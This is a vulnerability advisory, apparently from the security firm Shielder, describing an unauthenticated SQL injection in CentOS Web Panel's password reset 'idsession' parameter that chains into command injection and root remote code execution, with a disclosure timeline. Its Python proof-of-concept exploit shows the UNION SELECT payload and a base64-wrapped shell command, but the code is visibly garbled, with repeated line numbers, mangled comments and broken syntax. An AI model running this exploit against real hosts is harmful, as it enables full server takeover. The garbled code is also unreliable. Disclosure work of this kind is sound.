12 APRIL 2021

# **CentOS Web Panel idsession root Remote Code Execution**

# Summary

The unprivileged user portal part of CentOS Web Panel is affected by SQL Injection and Command Injection vulnerabilities, leading to root Remote Code Execution.

## Product Description (from vendor)

"CentOS Web Panel – a Free Web Hosting control panel designed for quick and easy management of (Dedicated & VPS) servers minus the chore and effort to use ssh console for every time you want to do something, offers a huge number of options and features for server management in its control panel package". For more information visit <a href="https://centos-webpanel.com/">https://centos-webpanel.com/</a>.

### CVE(s)

### Details

### Root Cause Analysis

During the password reset procedure, which is available by default at http://cwp.local:2083/login/index.php?acc=newpass, it is possible to inject additional SQL query parameters via the idsession HTTP POST p

By injecting additional query results, it is possible to inject shell commands in the subsequent shell\_exec call and gain complete control over the CentOS Web Panel host (it runs with root privileges).

### Proof of Concept

```
1 #!/usr/bin/env python
2 #
1 mily fusr/bin/env python
2 mily fusr/bin/env python
3 milks script contains an unauthenticated RCE exploit for Centos Web Panel
4 misince the user-panel code is not versioned, it is not clear when the
5 milks script contains an unauthenticated RCE exploit for Centos Web Panel
6 milks script sc
                                from sys import exit
import requests, base64
from argparse import ArgumentParser
requests.packages.urllib3.disable_warnings()
                            parser = ArgumentParser()
parser = ArgumentParser()
parser = And_argument("-rh", "--rhost", dest="rhost",
    help="remote host ip/hostname", required=True)
parser_add_argument("-rg", "-rport", dest="rport",
    default=2083, help="remote port")
parser_add_argument("-rg", "-cmd", dest="cmd", default="sleep 5",
    help="shell command to execute")
args = parser_parse_args()
  payload = str(base64.b64encode("abc\" UNION SELECT 'a','b','c','d','d','+1 day','f'-- p\";" + args.cmd +
";" ||a|||b||c||d".encode("utf-8")))

idsession = "a' UNION SELECT'a','b','c','" + payload + "','e','f'-- p"
post_data = ("pass1" 'c3WZUMYMCAByZa=","idsession": idsession))
                              print("[-] Exploit failed.")
```

# Remediation

## Disclosure Timeline

- 2/12/2020: Reported to vendor
   25/03/2021: Vendor confirms the issues have been fixed and releases a patched versior
   12/04/2021: Shielder's advisory is made public

# Credits

• 'polict' of Shielder

Registered Capital: 81.000,00 €

Via Palestro, 1/C 10064 Pinerolo (TO) Italy





## CONTACTS

info@shielder.com

Landline: (+39) 0121 - 39 36 42

Commercial: (+39) 345 - 30 31 983

Technical: (+39) 393 - 16 66 814



SITEMAP

Home

Company

Services

Advisories

Blog

Careers

Copyright © Shielder 2014 - 2022 Disclosure policy

Privacy policy